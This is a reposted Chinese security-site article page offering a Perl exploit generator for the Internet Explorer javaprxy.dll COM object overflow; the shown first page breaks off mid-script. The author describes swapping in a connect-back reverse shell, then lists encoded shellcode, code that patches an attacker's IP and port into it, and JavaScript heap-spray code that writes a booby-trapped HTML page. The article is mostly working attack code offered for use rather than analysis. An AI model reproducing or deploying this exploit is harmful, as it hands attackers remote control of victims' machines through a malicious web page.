通行证: 用户 密码 域名空间  下载中心 社区论坛 信息公告 my小屋
联系我们
设为首页
加入收藏

 

qq,asp,php,jsp,xml,sql,.net,编程 程序 网页图象 建站经验 私服
首页 | 新闻资讯 | 编程开发 | 网页设计 | 图形图象 | 网络媒体 | 网站模板 | 数 据 库 | 投稿
论坛 | 操作系统 | 系统优化 | 网络安全 | 黑客技术 | 硬件学堂 | 硬件报价 | 服 务 器 | 地图
专题 | 应用软件 | 聊天通讯 | q q 专栏 | 建站经验 | 在线工具 | 站长club | 注 册 表 | 旧版
社会 | 游戏娱乐 | 设计欣赏 | 疑难解答 | 社区论坛 | 网络赚钱 | 网站地图 | 广告服务 | 服务
当前位置:首页>>网络安全>>安全防范>>正文 新版上线![旧版]
注:打开慢时请稍等
ie javaprxy.dll com object漏洞利用程序

http://www.iyit.net  日期:2006-5-8 9:13:30  来源:中国站长学院  点击:
参加讨论】 microsoft internet explorer javaprxy.dll com object 溢出漏洞是前两天刚刚公布的,类似这样的漏洞我在以前也发过一个。这个漏洞的原理我不多说,总之又是ie的一个洞洞。漏洞利用方式依然采用暴力扩大内存的方式,我这里修改主要针对shellcode做了修改。
本地监听的shellcode没什么利用价值,还是反向的来得舒服。但是这个shellcode修改不是那么容易的是,为了防止shellcode被unicode编码所以要采用点小措施来方法。

整个程序我已经写出来了,如下,完全perl代码:

#! /usr/bin/perl
#doomie.pl

use strict;
use socket;

my $reverse_shell="\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x25\x01\x80\x34\x0b\x99\xe2\xfa".
                              "\xeb\x05\xe8\xeb\xff\xff\xff".
                              "\x70\x62\x99\x99\x99\xc6\xfd\x38\xa9\x99\x99\x99\x12\xd9\x95\x12".
                              "\xe9\x85\x34\x12\xf1\x91\x12\x6e\xf3\x9d\xc0\x71\x02\x99\x99\x99".
                              "\x7b\x60\xf1\xaa\xab\x99\x99\xf1\xee\xea\xab\xc6\xcd\x66\x8f\x12".
                              "\x71\xf3\x9d\xc0\x71\x1b\x99\x99\x99\x7b\x60\x18\x75\x09\x98\x99".
                              "\x99\xcd\xf1\x98\x98\x99\x99\x66\xcf\x89\xc9\xc9\xc9\xc9\xd9\xc9".
                              "\xd9\xc9\x66\xcf\x8d\x12\x41\xf1\xe6\x99\x99\x98\xf1\x9b\x99\x9d".
                              "\x4b\x12\x55\xf3\x89\xc8\xca\x66\xcf\x81\x1c\x59\xec\xd3\xf1\xfa".
                              "\xf4\xfd\x99\x10\xff\xa9\x1a\x75\xcd\x14\xa5\xbd\xf3\x8c\xc0\x32".
                              "\x7b\x64\x5f\xdd\xbd\x89\xdd\x67\xdd\xbd\xa4\x10\xc5\xbd\xd1\x10".
                              "\xc5\xbd\xd5\x10\xc5\xbd\xc9\x14\xdd\xbd\x89\xcd\xc9\xc8\xc8\xc8".
                              "\xf3\x98\xc8\xc8\x66\xef\xa9\xc8\x66\xcf\x9d\x12\x55\xf3\x66\x66".
                              "\xa8\x66\xcf\x91\xca\x66\xcf\x85\x66\xcf\x95\xc8\xcf\x12\xdc\xa5".
                              "\x12\xcd\xb1\xe1\x9a\x4c\xcb\x12\xeb\xb9\x9a\x6c\xaa\x50\xd0\xd8".
                              "\x34\x9a\x5c\xaa\x42\x96\x27\x89\xa3\x4f\xed\x91\x58\x52\x94\x9a".
                              "\x43\xd9\x72\x68\xa2\x86\xec\x7e\xc3\x12\xc3\xbd\x9a\x44\xff\x12".
                              "\x95\xd2\x12\xc3\x85\x9a\x44\x12\x9d\x12\x9a\x5c\x32\xc7\xc0\x5a".
                              "\x71\x99\x66\x66\x66\x17\xd7\x97\x75\xeb\x67\x2a\x8f\x34\x40\x9c".
                              "\x57\x76\x57\x79\xf9\x52\x74\x65\xa2\x40\x90\x6c\x34\x75\x60\x33".
                              "\xf9\x7e\xe0\x5f\xe0";

my $shellcode_text;
print "\tmicrosoft internet explorer javaprxy.dll com object remote exploit\n\n";
print "\t\t connect back shell rewritten by 无敌最寂寞[est]\n\n";
print "  usage:\n\tdoomie.pl <connect-back-ip> <connect-back-port> [destination file]\n\n";
print "  attention:if [destination file] is omitted,superlone.html will be default!\n\n";
my $ip=shift || die "[-]error! connect back ip must be specified!\n";
my $port=shift || die "[-]error!connect back port must be specified!\n";
my $file=shift || "superlone.html";
print "[+]generating shellcode ......";
$ip=inet_aton($ip);
$ip=$ip^(pack "l",0x99999999);
$port=(pack "n",$port)^(pack "s",0x9999);
substr($reverse_shell,118,2)=$port;
substr($reverse_shell,111,4)=$ip;

#open(file,">temp");
#binmode(file);
#print file $reverse_shell;
#close(file);
my $len=length($reverse_shell);
my @temp;
my $i=0;
while($i<$len){
$temp[$i]=sprintf("%.2x",ord(substr($reverse_shell,$i,1)));
$i++;
}
$i=0;

while($i<$len)
{
if($i % 2!=0)
{
$shellcode_text.="%u".$temp[$i].$temp[$i-1];
}
$i++;
}
print "done\n";
print "[+]creating exploitable file ......";
my $header = "<html><body>\n<script language=\"javascript\">\n";
my $jedi="shellcode = unescape(\"%u4343\"+\"%u4343\"+\"$shellcode_text\");\n";
# memory
my $code = "bigblock = unescape(\"%u0d0d%u0d0d\");\n".
"headersize = 20;\n".
"slackspace = headersize+shellcode.length;\n".
"while (bigblock.length<slackspace) bigblock+=bigblock;\n".
"fillblock = bigblock.substring(0, slackspace);\n".
"block = bigblock.substring(0, bigblock.length-slackspace);\n".
"while(block.length+slackspace<0x40000) block = block+block+fillblock;\n".
"memory = new array();\n".
"for (i=0;i<750;i++) memory[i] = block + shellcode;\n".
"</script>\n";

本新闻共2页,当前在第1页  1  2  


编辑:黑鹰 [发送给好友] [打印本页] [关闭窗口] [返回顶部]
上一篇:建立全面的网络安全体系
下一篇:计算机加密反跟踪技术密文技术
转载请注明来源:www.iyit.net
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。

 相关文章
linux + java 会得到什么 利用java语言实现支持视频点播的web服务 利用java语言实现支持视频点播的web服务
利用java语言实现支持视频点播的web服务 利用java语言实现支持视频点播的web服务 利用java语言实现支持视频点播的web服务
通过e-mail 共享java 对象 sun java系统web服务器:关键任务的选择 javascript 实用的一些技巧 
奇妙的javascript图片放大镜 java数据类型转换 用 javascript 写的一个映射表类
用 javascript 写的一个映射表类 javascript 对象与数组参考大全 javascript实例教程(3-2)
javascript实例教程(3-1) javascript实例教程(2) 创建弹出式窗 javascript实例教程(1) 目录
 javascript: 改变和控制显示的图片大小 计算鼠标所在位置的x,y坐标的javascrip javascript实用的一些技巧 
javascript实例教程(20-4) javascript实例教程(20-3) javascript实例教程(20-2)
最新更新 热点排行 推荐新闻
服务器安全设置(七)
服务器安全设置(六)
服务器安全设置(五)
服务器安全设置(四)
服务器安全设置(三)
网站服务器通用和专用保护方法比较分析
网站服务器通用和专用保护方法比较分析
跨站式sql注入技巧
全面解析“网络钓鱼”式攻击
揭开网络钓鱼(phishing)秘密
google hacking的实现以及应用(下)
google hacking的实现以及应用(上)
网络最经典命令行-网络安全工作者的必
刍议ipv6的安全问题
鲜为人知的“windows 2000/xp受限”问
上网服务器步步建
网络安全问题的讨论和对策
ie浏览器再爆漏洞恐怖数据库成硬盘杀手
winxp漏洞可诱发dos攻击微软正在赶制补
操作系统被入侵后的修复过程
新开放qq免费挂级网站
免费在qq上看在线电影电视听音乐
免费把qq炫铃设为本机qq的系统提示音
qq珊瑚虫外挂4.0版本发布!
腾讯qq调整升级条件不再诱发网民“通宵
优秀公益广告作品欣赏(8)
java数据类型转换
流金岁月!cpu历史上最难忘的十个第一
qq挂机的n种快速方法
asp自动解压rar文件
操作系统被入侵后的修复过程
巧用photoshop图案工具
用photoshop制成浪漫的“珍珠项链”
第二十章 开发delphi对象式数据管理功
sql简明教程(1)
vbscript和javascript互相调用 
jsp教程(四)-jsp actions的使用
操作系统被入侵后的修复过程
五一别忘电脑防毒 养成良好上网习惯
google对ie浏览器将捆绑搜索功能表担忧
新版上线,今日正式开通!!!
 友情链接
设置首 页 - 版权声明 - 广告服务 - 关于我们 - 联系我们 - 友情连接
copyrights © 2004-2006 iyit.net all rights reserved.
网站合作、广告联系qq:147007642、466949678
易特网络技术 点击这里给我发消息